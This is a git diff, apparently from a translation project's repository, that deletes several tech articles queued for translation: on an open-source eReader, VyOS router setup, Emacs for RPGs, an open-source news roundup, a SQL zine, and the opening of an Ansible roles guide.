subject: (What Amazon Kindle? Here’s an Open Source eBook Reader) -[#]: via: (https://itsfoss.com/open-book/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -What Amazon Kindle? Here’s an Open Source eBook Reader -====== - -When it comes to an eBook reader, the choices are limited. The market is dominated by [Amazon's proprietary Kindle][1] along with a few other options like Kobo, Nook and Onyx. - -An interesting news for open source enthusiasts is that a developer, [Joey Castillo][2], is working on creating an open source eBook reader appropriately named Open Book. - -### Open Book: An open source eBook reader - -![][3] - -The [Open Book][4] aims to be a simple ‘open’ device that “anyone with a soldering iron can build for themselves”. - -It’s hackable so if you are into DIY stuff and you have some knowledge, you may tweak it to your liking. For example, Joey use [TensorFlow Lite][5] to give voice commands for flipping the pages on Open Book. You can do things like this on your own on this open hardware device. - -> Voice commands on the [#OpenBook][6] with [#TensorFlowLite][7]. When I added a mic amp for voice, I considered this a “someday” feature; I didn’t imagine one could hack it together in an evening! Major credit to [@adafruit][8]; their TFL Arduino port makes this possible. [pic.twitter.com/PfXZx99A9y][9] -> -> — joey castillo (@josecastillo) [December 13, 2019][10] - -If that kind of scares you because you are not really into tinkering with hardware, I have a good news for you. Open Book was named winner of [Hackaday’s Take Flight with Feather contest][11]! - -This means that when the hardware is ready, you should be able to purchase it from [DigiKey][12]. You should be able to fit the device as an eBook reader or experiment with it, if you feel like doing it. - -It kind of reminds me of [Game Shell][13], a single board computer based retro gaming console that could be tinkered into many other things. - -### Open Book specifications - -![][14] - -There are two versions of Open Book: Open Book Feather and E-Book Feather Wing. The eBook wing does less than the Open Book Feather, mainly because it’s limited to using only the pins available via the Feather header. - -You may guess from the name that the project uses [Adafruit’s Feather development boards][15]. - -Here are the main specifications for the Open Book (both versions): - - * 4.2 inch, 400 x 300 pixel ePaper display - * SAMD51 ARM Cortex-M4 32-bit processor - * 7 buttons for navigation (directional pad, select button and page turn buttons) - * status LED lights - * A microSD card reader - * Headphone jack - - - -The display seems a bit small, isn’t it? - -### Open Book release, pricing and availability - -![][16] - -Open Book is the winner of [Take Flight with Feather competition by Hackaday][11]. This means that at least 100 Open Book boards will be manufactured and made available for purchase. - -[Liliputing][17] noted that [Adafruit][18] will be handling the manufacturing, and [Digi-Key][19] will eventually be selling Open Book boards. - -At this point, it’s not clear how much will it cost and exactly when it will be available. - -Remember that it’s an open source project. You can find all the circuit designs, source code on its GitHub page and if you have the skills, get the required hardware components and build an Open Book on your own. - -[Open Book on GitHub][4] - -Otherwise, wait for a couple of months (hopefully) for the release of the Open Book boards and then go about experimenting with the device. - -If you like the project and want to support it, you can help [Joey on Pateron][20]. You can follow the updates on the Open Book on the Patreon page, [Joey’s mailing list][21] or Joey’s [Twitter account][2]. - -_Do you think the project has potential? Would you buy one when it is available? What do you think of it?_ - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/open-book/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://www.amazon.com/dp/B07DLPWYB7?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (Amazon's proprietary Kindle) -[2]: https://twitter.com/josecastillo -[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/01/open-book-under-development-feature.jpeg?ssl=1 -[4]: https://github.com/joeycastillo/The-Open-Book -[5]: https://www.tensorflow.org/lite -[6]: https://twitter.com/hashtag/OpenBook?src=hash&ref_src=twsrc%5Etfw -[7]: https://twitter.com/hashtag/TensorFlowLite?src=hash&ref_src=twsrc%5Etfw -[8]: https://twitter.com/adafruit?ref_src=twsrc%5Etfw -[9]: https://t.co/PfXZx99A9y -[10]: https://twitter.com/josecastillo/status/1205549284403355648?ref_src=twsrc%5Etfw -[11]: https://hackaday.io/contest/168107-take-flight-with-feather -[12]: https://www.digikey.com/ -[13]: https://itsfoss.com/gameshell-console/ -[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/open-book-board.jpg?ssl=1 -[15]: https://www.adafruit.com/feather -[16]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/open-book-demo.jpeg?ssl=1 -[17]: https://liliputing.com/2020/01/the-open-book-ereader-will-be-a-real-thing-you-can-buy-eventually.html -[18]: https://www.adafruit.com/ -[19]: https://www.digikey.com/en/resources/beta-1 -[20]: https://www.patreon.com/joeycastillo -[21]: http://eepurl.com/gKOpQ9 diff --git a/sources/tech/20200130 Run your network with open source software.md b/sources/tech/20200130 Run your network with open source software.md deleted file mode 100644 index 13137ce392..0000000000 --- a/sources/tech/20200130 Run your network with open source software.md +++ /dev/null @@ -1,105 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Run your network with open source software) -[#]: via: (https://opensource.com/article/20/1/open-source-networking) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Run your network with open source software -====== -VyOS is an easy-to-install open source router and firewall solution -![Multi-colored and directional network computer cables][1] - -Way back in 2005, a company called Vyatta was founded by Allan Leinwand. It offered the first commercially supported, open source router and firewall solution. Named after the ancient Sanskrit for "open," the company's goal of bringing open source networking products to the market was so successful that it was purchased by competitor Brocade. This effectively killed Vyatta, but because Vyatta's product was open source, it didn't stop it. As it turns out, Vyatta's software-defined networking capabilities have been continued and developed as [VyOS][2]. - -The VyOS distribution is based on Debian Linux, with source code available from a [Git repository][3] and a [rolling release ISO][4]. For mission-critical applications, there are [long-term support releases and support contracts][5]. - -### Building a network - -Networking has changed since 2005, and thanks to the VyOS project, so has the software that drives it. After learning that VyOS was continuing the work of Vyatta, I downloaded the ISO to try it out. The installation process was easier for me than the normal Debian install, which is a simple task. VyOS doesn't boot into a graphical interface, but to a text console. It's just you and a bunch of configuration files, just like you might expect from a serious router. - -The default install of VyOS provides no default configuration. It's entirely up to you to build the network you want to run. Depending on your point of view, that's either refreshing or frustrating, but it gives you an idea of the intended audience: VyOS is built for network engineers who've mapped out their desired topography and are capable of creating it with some subnet calculations and text definitions. - -### The VyOS configure command - -That said, VyOS isn't just a re-branded Debian release. One of its key features is its **configure** command, an interactive tool for defining network definitions that are applied only after you commit them. In addition to feeling familiar to users accustomed to IOS and similar toolchains, this allows you to configure your network even as the router continues its normal operations. Nothing is final until you type **commit**. - -Once you've tested a committed network change, you can use the **save** command to permanently store your configuration files for backup or migration to other VyOS machines. - -You enter configuration mode with the **configure** command. There are too many possible network configurations to go over **configure** or basic networking tasks here, but the syntax is generally intuitive and predictable. For instance, to enable SSH management over port 22212 of your router: - - -``` -`# set service ssh port '22212'` -``` - -To set the network interface card (NIC) **eth1** to an internal IP address and to create a description identifying it as the default gateway: - - -``` -# set interfaces ethernet eth1 address '10.1.0.1/24' -# set interfaces ethernet eth1 description 'INSIDE' -``` - -To set the public IP of NIC **eth0** and describe it as the world-facing interface: - - -``` -# set interfaces ethernet eth0 address dhcp -# set interfaces ethernet eth0 description 'OUTSIDE' -``` - -To activate network address translation (NAT), it's the same structure: - - -``` -set nat source rule 100 outbound-interface 'eth0' -set nat source rule 100 source address '10.1.0.0/24' -set nat source rule 100 translation address masquerade -``` - -Assuming those are the only tasks you have for now, commit and save: - - -``` -# commit -# save && exit -Saving configuration to '/config/config.boot'... -Done -$ -``` - -Although that's probably not everything you need to do in real life, it gives you an idea of the direct simplicity that VyOS provides. You don't have to deal with "reverse engineering" confusing graphical interfaces nor scrubbing through verbose configuration files for a poorly named key. You have a unified interface for every task, whether it's setting up a firewall, implementing DHCP, DNS, quality of service, VPN gateways, IPv6, or whatever else. - -### Professional networking appliance - -VyOS might not be a beginner-level router distribution, but it's a great tool to have on hand even if you're just starting out. There's no better way to learn the basics of networking than to have an open source router available for manipulation and testing. It's the 21st century, after all; you can set up a computer lab consisting of virtual clients networked to one another through a virtual VyOS instance entirely within [GNOME Boxes][6] for $0. You can learn advanced networking concepts and solutions armed with little more than a Linux computer and the excellent [VyOS documentation][7]. - -If you're already a networking professional, then take a look at VyOS. You'll find its philosophy on configuration simple and its configure tool efficient. - -Connecting your Linux computer to a network is pretty straightforward, except when it is not. In... - -Jay Turner gives tips for attracting and maintaining an open source community around networking. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/open-source-networking - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/connections_wires_sysadmin_cable.png?itok=d5WqHmnJ (Multi-colored and directional network computer cables) -[2]: http://vyos.io -[3]: https://github.com/vyos/ -[4]: https://www.vyos.io/rolling-release/ -[5]: https://vyos.io/subscriptions/ -[6]: https://opensource.com/article/19/5/getting-started-gnome-boxes-virtualization -[7]: https://vyos.readthedocs.io/en/latest/index.html diff --git a/sources/tech/20200131 5 ways to use Emacs as your RPG dashboard.md b/sources/tech/20200131 5 ways to use Emacs as your RPG dashboard.md deleted file mode 100644 index b1d7c6923d..0000000000 --- a/sources/tech/20200131 5 ways to use Emacs as your RPG dashboard.md +++ /dev/null @@ -1,182 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 ways to use Emacs as your RPG dashboard) -[#]: via: (https://opensource.com/article/20/1/emacs-rpgs) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -5 ways to use Emacs as your RPG dashboard -====== -Emacs is a flexible way to organize and manage your tabletop -role-playing games. -![Chess pieces on a chess board][1] - -There are two ways to play a tabletop role-playing game (RPG): You can play an adventure written by the game's publisher or an independent author, or you can play an adventure that is made up as you go. Regardless of which you choose, there's probably prep work to do. One player (generically called the _game master_) must gather monster or enemy stats, loot tables, and references for rules, and the other players must build characters and apportion (pretend) equipment. Nothing's going to eliminate prep work from a complex RPG, but if you're an [Emacs][2] user, you might find that Emacs makes a great dashboard to keep everything all straight. - -### Organize the rules - -Unfortunately, the digital editions of many RPGs are distributed as PDFs because that's what the RPG publisher sent to the printer for the physical edition. PDFs are good at preserving layout, but they're far from an ideal eBook format. If you play RPGs published under an open license, you can often obtain the rules in alternate formats (such as HTML), which gives you more control and flexibility. Even the world's first and most famous RPG, Dungeons & Dragons, provides its rules as a free download in digital format (which has been translated into HTML and Markdown by many a website). - -I open the rules as Markdown in Emacs so that I have a searchable reference at the ready. While opening the rules as a PDF in a PDF reader lets you search for embedded text, using a text file instead provides several benefits. First of all, a text file is much smaller than a PDF, so it's faster to load and to search. Second, text files are easily editable, so if you find a rule that sends you seeking clarification, you can add what you learn (or whatever you make up) directly into your master document. You can also add house rules and additional resources. My aim is to have a single file that contains all of the rules and resources I use in games I run, with everything a quick **Ctrl+s** (**C-s** in Emacs notation) away. - -### Manage initiatives - -Most RPG systems feature a method to determine the order of play during combat. This is commonly called _initiative_, and it comes up a lot since the source of conflict in games often involves combat or some kind of opposed competitive action. It's not that hard to keep track of combat with pencil and paper, but in games where I'm using digital assets anyway, I find it easier to stay digital for everything. Luckily, the venerable [Org mode][3] provides an excellent solution. - -When players roll for initiative, I type their names into Emacs' scratch buffer. Then I type each monster or enemy, along with the hit or health points (HP) of each, followed by two columns of 0: - - -``` -brad -emily -zombie 22 0 0 -zombie 22 0 0 -flesh-golem 93 0 0 -``` - -Then I select the block of player characters (PCs) and monsters and use the **org-table-create-or-convert-from-region** function to create an Org mode table around it. Using **Alt+Down arrow** (**M-down** in Emacs notation), I move each PC or monster into the correct initiative order. - - -``` -| emily       |    |   |   | -| flesh-golem | 93 | 0 | 0 | -| zombie      | 22 | 0 | 0 | -| brad        |    |   |   | -| zombie      | 22 | 0 | 0 | -``` - -During combat, I only need to record damage for monsters, because the players manage their own HP. For the enemies I control in combat, the second column is its HP (its starting number is taken from the RPG system's rules), and the third is the damage dealt during the current round. - -Table formulas in Org mode are defined on a special **TBLFM** line at the end of the table. If you've used any computerized spreadsheet for anything, [Org table][4] will be fairly intuitive. For combat tracking, I want the third column to be subtracted from the second. Columns are indexed from left to right (**$1** for the first, **$2** for the second, and **$3** for the third), so to replace the contents of column $2 with the sum of columns $2 and $3, I add this line to the bottom of the table: - - -``` -`#+TBLFM: $2=vsum($2 - $3)` -``` - -I don't actually type that into Emacs every time the game enters combat mode. Instead, I've defined an auto-completion trigger with Emacs' [abbrev mode][5], a system that allows you to type in a special string of your choosing, which Emacs expands into something more complex. I define my abbreviations in a file called **~/.emacs.d/abbrev_defs**, using **rpgi** followed by a **Space** as the trigger for Emacs to change the line to my initiative table formula: - - -``` -(define-abbrev-table 'global-abbrev-table -  '( -    ("rpgi" "#+TBLFM: $2=vsum($2 - $3)" nil 0) -   )) -``` - -Each time a player deals damage to a monster, I enter the amount of damage in the damage column. To trigger a table recalculation, I press **Ctrl+u Ctrl+c** (i.e., **C-u C-c** in Emacs) or **Ctrl+c Ctrl+c** (i.e., **C-c C-c**) if I happen to be on the formula line:  - - -``` -| brad        |    |    | -| emily       |    |    | -| zombie      | 12 | 10 | -| zombie      | 15 |  7 | -| flesh-golem | 91 |  2 | -#+TBLFM: $2=vsum($2 - $3) -``` - -This system isn't perfect. Character names can't contain any spaces because Org table splits cells by white space. It's relatively easy to forget that you processed one line and accidentally reprocess it at the end of a round. To add HP back to a creature's total, you have to use a negative number. (I think of it as negative damage, which suggests health.) Then again, many computerized initiative trackers suffer the same problems, so it's not a particularly bad solution. For me, it's one of the faster methods I've found (I'm happy to admit that [MapTool][6] is the best, but I use my Emacs workflow when I'm not using a digital shared map). - -### View PDFs in DocView - -Sometimes a PDF is unavoidable. Whether it's a d100 list of tavern names or a dungeon map, some resources exist only as a PDF with no extractable text data. In these cases, Emacs' [DocView][7] package can help. DocView is a mode that loads PDF data and generates a PNG file for you to view (Emacs can also view JPEG files). I've found that large PDFs are problematic and slow, but if it's a low-resolution PDF with just one or two pages, DocView is an easy way to reference a document without leaving Emacs. - -I use this mode exclusively for maps, tables, and lists. It's not useful for anything that might involve searching, because text data isn't accessible, but it's an amazingly useful feature for documents you only need to glance at. - -![Emacs for RPG][8] - -The [Ghostscript][9] suite that ships with most Linux distributions (or certainly is available in your repository) allows you to process PDFs, drastically simplifying them by lowering the resolution of images from print quality to screen quality. The command contains mostly PostScript commands and attributes, but you don't need to become a PostScript expert to perform a quick down-res: - - -``` -$ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 \ --dPDFSETTINGS=/ebook -dNOPAUSE -dBATCH \ --sOutputFile=adventure.pdf \ --dDownsampleColorImages=true \ --dColorImageResolution=72 big-adventure-module.pdf -``` - -Opening PDFs in Emacs isn't as exciting as it may sound. It's not by any means a first-class PDF viewer, but for select resources, it can be a convenient way to keep all your information on one screen. - -### Create adventure rap sheets - -Published adventures are often heavy on prose. The theory is that you've paid a lot of money for a prepared adventure, so you obviously want value for your purchase. I do value the lore and world-building that authors put into their adventures, but during a game, I like to have a quick reference to the information I need for the game mechanics to work as intended. In other words, I don't need to have the story of why a trap was placed in a dungeon when a rogue triggers it; I only need to know that the trap exists and what the rogue needs to roll in order to survive. - -I haven't found any modern adventure format that provides me with just that information, so I end up creating my own "rap sheets": a minimal outline for the adventure, with just the game mechanics information I need for each location. Once again, Org mode is the best way for me to keep this information handy. - -In Org mode, you create lists using asterisks for bullet points. For a sub-item, add an asterisk. Even better, press **C-c t** (that's **Ctrl+c** and then the **t** key) to mark the item as a **TODO** item. When your players clear an area in the game, press **C-c t** again to mark the location **DONE**. - - -``` -* DONE 1 Entrance -** Zombie -AC 9 | HP 22 -* TODO 2 Necromancer's chambers -** Flesh golem -AC 16 | HP 93 -** Treasure -\- Gold ring (200 gp) -\- Rusty nail (1 cp) -  Cursed (roll on curse table) -** Secret door (DC 20) -\- to area 11 -``` - -Each asterisk is collapsible, so you can get a summary of a global area by collapsing your list down to just the top-level: - - -``` -* DONE 1 Entrance -* TODO 2 Necromancer's chambers -* TODO 3 Wyrmling nursery -* TODO 4 Caretaker's chambers -* TODO 5 Caretaker's laboratory -``` - -An added bonus: I find that making my own rap sheets helps me internalize both the mechanics and the lore of the adventure I'm preparing, so the benefits to this method are numerous. Since I manage any adventure I run in Emacs with Git, once I do the prep work for an adventure, I have fresh copies of all my assets in case I run the adventure with another group or with a set of fresh characters. - -### Make your own adventure journal - -Generally, I let my players keep their own notes about the adventure because I want to encourage players to interpret the events happening in the adventure for themselves. However, a game master needs private notes to keep all of the improvised data in order. For example, if a published adventure doesn't feature a blacksmith shop, but players decide to visit a blacksmith, then a blacksmith needs to be invented in the moment. If the players revisit the blacksmith six weeks later, then they expect it to be the same blacksmith, and it's up to the game master to keep track of such additions to the published setting. I manage my personal notes about adventures in two different ways, depending on what's available to me. - -If I have the text of the adventure in an editable format (such as HTML or Markdown), I enter my additions into the adventure as if the publisher had included them from the start. This means there's always one source of truth for the setting and for significant events. - -If I haven't been able to get an editable copy of the adventure because it's a hard copy or a PDF that's not easily modified, then I write my additions into my rap sheets in Org mode. This functionally means that there's still one source of truth because my rap sheets are the first place I look for information, falling back on the published text only for details I've forgotten. Sometimes I like my additions enough to merge them back into my Git master for the adventure, but usually, I trust in improvisation and let additions happen dynamically for each group that plays the adventure. - -### Why Emacs is my favorite RPG dashboard - -I've fallen into using Emacs for RPGs because it serves as the heads-up display of my dreams. The "right" answer is probably a good [tiling window manager][10], but until I implement that, I'm happy with Emacs. Everything's bound to keyboard shortcuts designed for specificity and speed, and there's just enough easy customization that I can hack together good-enough solutions—sometimes even while players are arguing with one another about what to do next. - -I've tried juggling multiple desktops, several PDF reader windows, and a spreadsheet for initiatives; while it's a fine experience, nothing has equaled the fluidity of Emacs as my RPG dashboard. - -* * * - -Hey! do you love Emacs? [Write an article][11] about how you use an Emacs (GNU or otherwise) for inclusion in our forthcoming Emacs series! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/emacs-rpgs - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/life-chess-games.png?itok=U1lWMZ0y (Chess pieces on a chess board) -[2]: https://opensource.com/life/16/2/intro-to-emacs -[3]: https://orgmode.org/ -[4]: https://orgmode.org/manual/Tables.html -[5]: https://www.gnu.org/software/emacs/manual/html_node/emacs/Abbrevs.html#Abbrevs -[6]: https://opensource.com/article/19/6/how-use-maptools -[7]: https://www.gnu.org/software/emacs/manual/html_node/emacs/Document-View.html -[8]: https://opensource.com/sites/default/files/uploads/emacs-rpg.jpg (Emacs for RPG) -[9]: https://www.ghostscript.com/ -[10]: https://opensource.com/article/19/12/ratpoison-linux-desktop -[11]: https://opensource.com/how-submit-article diff --git a/sources/tech/20200201 ProtonVPN adopts GPLv3, Mozilla Thunderbird gets new home, and more news.md b/sources/tech/20200201 ProtonVPN adopts GPLv3, Mozilla Thunderbird gets new home, and more news.md deleted file mode 100644 index 0bad015d36..0000000000 --- a/sources/tech/20200201 ProtonVPN adopts GPLv3, Mozilla Thunderbird gets new home, and more news.md +++ /dev/null @@ -1,77 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (ProtonVPN adopts GPLv3, Mozilla Thunderbird gets new home, and more news) -[#]: via: (https://opensource.com/article/20/2/news-february-1) -[#]: author: (Scott Nesbitt https://opensource.com/users/scottnesbitt) - -ProtonVPN adopts GPLv3, Mozilla Thunderbird gets new home, and more news -====== -Catch up on the biggest open source headlines from the past two weeks. -![][1] - -In this edition of our open source news roundup, we take a look ProtonVPN apps going open, Microsoft's code analysis tool, Mozilla Thunderbird's new home, and more! - -### ProtonVPN apps go open source - -People wanting to use the internet securely and privately do the deed using a Virtual Private Network (VPN). But which VPNs can you really trust? The company behind the popular ProtonVPN service made a big move to gain that trust by [releasing the source code][2] for all its apps. - -By making its apps open source, ProtonVPN is giving security experts the chance to "inspect its encryption implementations and how the company handles user data, giving users confidence that the company is adhering to its strict privacy policy." According to an [article at TechRadar][3], ProtonVPN also engaged "security firm SEC Consult on a full security audit that was able to verify the security of the company's software." - -You can find the source code for the apps [on GitHub][4] and links to the audit reports [in this blog post][5]. - -### Mozilla Thunderbird gets a new home - -What a difference a few years makes. When the Mozilla Foundation announced in 2015 that it was considering spinning off the Thunderbird email client, the software's adherents feared the worst. Since then, Thunderbird has persisted but its fate has also been up in the air. [That's changed][6] with the formation of MZLA Technologies Corporation. - -MZLA Technologies is "a new wholly owned subsidiary of the Mozilla Foundation" that's the new home of the Thunderbird project. The move to the new corporation means that development will continue on the software and that move "won’t have an impact on Thunderbird’s day-to-day running." According to Thunderbird's Phillip Kewisch, shifting the project to MZLA Technologies enables it to "explore offering our users products and services that were not possible under the Mozilla Foundation." - -### Encrypting the Internet of Things - -The so-called Internet of Things (IoT) has promised so much. That promise has been lost under the weight of the often paper-thin security of IoT devices. Teserakt, a Swiss security firm, is trying turn that around with the [release of E4][7], a "cryptographic implant that IoT manufacturers can integrate into their servers." - -Teserakt's CEO Jean-Philippe Aumasson said that E4 came about because there are "so many machines and entities that do not have the need to view or modify (data from IoT devices), so they shouldn’t have access to it." E4 provides end-to-end encryption of data which bolsters "defenses for information in transit and offers protection against data interception and manipulation." - -If you're interesting taking a peek at E4, you can do that in [Teserakt's GitHub repository][8]. - -#### In other news - - * [Scientists working with Google just published the most detailed brain scans ever created][9] - * [AWS JPL open source rover challenge open to competitors][10] - * [Intel joins CHIPS Alliance, contributes advanced interface bus][11] - * [Why UK leaders need open technology for the disrupted future][12] - * [Microsoft open sources code analysis tool][13] - - - -_Thanks, as always, to Opensource.com staff members and moderators for their help this week. Make sure to check out [our event calendar][14], to see what's happening next week in open source._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/news-february-1 - -作者:[Scott Nesbitt][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/scottnesbitt -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/weekly_news_roundup_tv.png?itok=tibLvjBd -[2]: https://betanews.com/2020/01/21/protonvpn-open-source/ -[3]: https://www.techradar.com/au/news/protonvpn-releases-source-code-and-undergoes-security-audit -[4]: https://github.com/ProtonVPN -[5]: https://protonvpn.com/blog/open-source/ -[6]: https://blog.thunderbird.net/2020/01/thunderbirds-new-home/ -[7]: https://www.wired.com/story/e4-iot-encryption/ -[8]: https://github.com/teserakt-io/ -[9]: https://thenextweb.com/artificial-intelligence/2020/01/22/scientists-working-with-google-just-published-the-most-detailed-brain-scans-ever-created/ -[10]: https://www.therobotreport.com/aws-jpl-open-source-rover-challenge-open-to-competitors/ -[11]: https://chipsalliance.org/announcement/2020/01/22/intel-joins-chips-alliance-to-promote-advanced-interface-bus-aib-as-an-open-standard/ -[12]: https://www.information-age.com/leaders-open-technology-disrupted-future-123487150/ -[13]: https://www.infoworld.com/article/3516147/microsoft-releases-open-source-source-code-analyzer.html -[14]: https://opensource.com/resources/conferences-and-events-monthly diff --git a/sources/tech/20200203 New zine- Become a SELECT Star.md b/sources/tech/20200203 New zine- Become a SELECT Star.md deleted file mode 100644 index adadb9c687..0000000000 --- a/sources/tech/20200203 New zine- Become a SELECT Star.md +++ /dev/null @@ -1,72 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (New zine: Become a SELECT Star!) -[#]: via: (https://jvns.ca/blog/2020/02/03/new-zine--become-a-select-star/) -[#]: author: (Julia Evans https://jvns.ca/) - -New zine: Become a SELECT Star! -====== - -On Friday I published a zine about SQL called “Become a SELECT Star!” - -You can get it for $12 at . If you buy it, you’ll get a PDF that you can either read on your computer or print out. You can also get a pack of [all 7 zines][1] so far. - -Here’s the cover and table of contents: - -[![][2]][3] - -### why SQL? - -I got excited about writing a zine about SQL because at my old job I wrote a ton of SQL queries (mostly related to machine learning) and by doing that I learned there are a lot of weird things about SQL! For example – [SQL queries don’t actually start with SELECT][4]. And the way [NULL behaves isn’t really intuitive at first][5]. - -It’s been really fun to go back and try to explain the basics of SQL from the beginning. (what’s the difference between WHERE and HAVING? what’s the basic idea with indexes actually? how do you write a join?) - -I think SQL is a really nice thing to know because there are SO MANY SQL databases out there, and some of them are super powerful! (like BigQuery and Redshift). So if you know SQL and have access to one of these big data warehouses you can write queries that crunch like 10 billion rows of data really quickly. - -### lots of examples - -I ended up spending a lot of time on the examples in this zine, more than in any previous zine. My friend [Anton][6] helped me come up with a fun way to illustrate them, where you can clearly see the query, the table it’s running on, and what the query outputs. Like this: - -![][7] - -### experiment: include a SQL playground - -All the examples in the zine are real queries that you can run. So I thought: why not provide a simple environment where people can actually run those queries (and variations on those queries) to try things out? - -So I built a small [playground where you can run queries on the example tables in the zine][8]. It uses SQLite compiled to web assembly, so all the queries run in your browser. It wasn’t too complicated to build – I just used my minimal Javascript/CSS skills and vue.js. - -I’d love to hear any feedback about whether this is helpful or not – the example tables in the zine are really small (you can only print out small SQL tables!), so the biggest table in the example set has 9 rows or something. - -### what’s next: probably containers - -I think that next up is going to be a zine on containers, which is more of a normal systems-y topic for me. (for example: [namespaces][9], [cgroups][10], [why containers?][11]) - -Here’s a link to where to [get the zine][3] again :) - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/02/03/new-zine--become-a-select-star/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://wizardzines.com/zines/all-the-zines/ -[2]: https://jvns.ca/images/sql-cover.png -[3]: https://wizardzines.com/zines/sql -[4]: https://jvns.ca/blog/2019/10/03/sql-queries-don-t-start-with-select/ -[5]: https://twitter.com/b0rk/status/1195184321818243083 -[6]: http://www.cat-bus.com/ -[7]: https://jvns.ca/images/sql-diagram.png -[8]: https://sql-playground.wizardzines.com -[9]: https://twitter.com/b0rk/status/1195725346970181632 -[10]: https://twitter.com/b0rk/status/1214341831049252870 -[11]: https://twitter.com/b0rk/status/1224500774450929664 diff --git a/sources/tech/20200204 Ansible Roles Quick Start Guide with Examples.md b/sources/tech/20200204 Ansible Roles Quick Start Guide with Examples.md deleted file mode 100644 index d0884fe039..0000000000 --- a/sources/tech/20200204 Ansible Roles Quick Start Guide with Examples.md +++ /dev/null @@ -1,430 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Ansible Roles Quick Start Guide with Examples) -[#]: via: (https://www.2daygeek.com/ansible-roles-quick-start-guide-with-examples/) -[#]: author: (Magesh Maruthamuthu https://www.2daygeek.com/author/magesh/) - -Ansible Roles Quick Start Guide with Examples -====== - -Ansible is an excellent configuration management and orchestration tool. - -It is designed to easily automate the entire infrastructure. - -We have written three articles in the past about Ansible. - -If you are new to Ansible, I advise you to read the articles below, which will help you understand the basics of Ansible. - - * **Part-1: [Ansible Automation Tool Installation, Configuration and Quick Start Guide][1]** - * **Part-2: [Ansible Ad-hoc Command Quick Start Guide with Examples][2]** - * **Part-3: [Ansible Playbooks Quick Start Guide with Examples][3]** - - - -### What’s Ansible Roles? - -Ansible Roles provides the framework for automatically loading certain tasks, files, vars, templates, and handlers from a known file structure into the playbook. - -The primary mechanism of role is to break a playbook into multiple pieces (files). - -This makes it easier for you to write complex playbooks and makes them easier to reuse. - -Also, it reduces the syntax error by breaking it into multiple files. - -Ansible Playbook is a set of roles, and each role essentially performs a specific function. - -The Ansible roles are reusable (you can import the roles into other paybooks as well) because the roles are independent of each other and do not depend on others while executing. - -Ansible offers a two-example directory structure that helps you organize your ansible playbook content, and its use. - -It is not limited to using the same data structure, and you can create your own directory structure based on your needs. - -Each directory is have a **“main.yml”** file, which contains the basic content: - -### Ansible Roles Default Directory Structure - -Ansible Best Practices provides the following two directory structures. The first is very simple and well suited for a small environment with simple production and inventory files. - -``` -production # inventory file for production servers -staging # inventory file for staging environment - -group_vars/ - group1.yml # here we assign variables to particular groups - group2.yml -host_vars/ - hostname1.yml # here we assign variables to particular systems - hostname2.yml - -library/ # if any custom modules, put them here (optional) -module_utils/ # if any custom module_utils to support modules, put them here (optional) -filter_plugins/ # if any custom filter plugins, put them here (optional) - -site.yml # master playbook -webservers.yml # playbook for webserver tier -dbservers.yml # playbook for dbserver tier - -roles/ - common/ # this hierarchy represents a "role" - tasks/ # - main.yml # <-- tasks file can include smaller files if warranted - handlers/ # - main.yml # <-- handlers file - templates/ # <-- files for use with the template resource - ntp.conf.j2 # <------- templates end in .j2 - files/ # - bar.txt # <-- files for use with the copy resource - 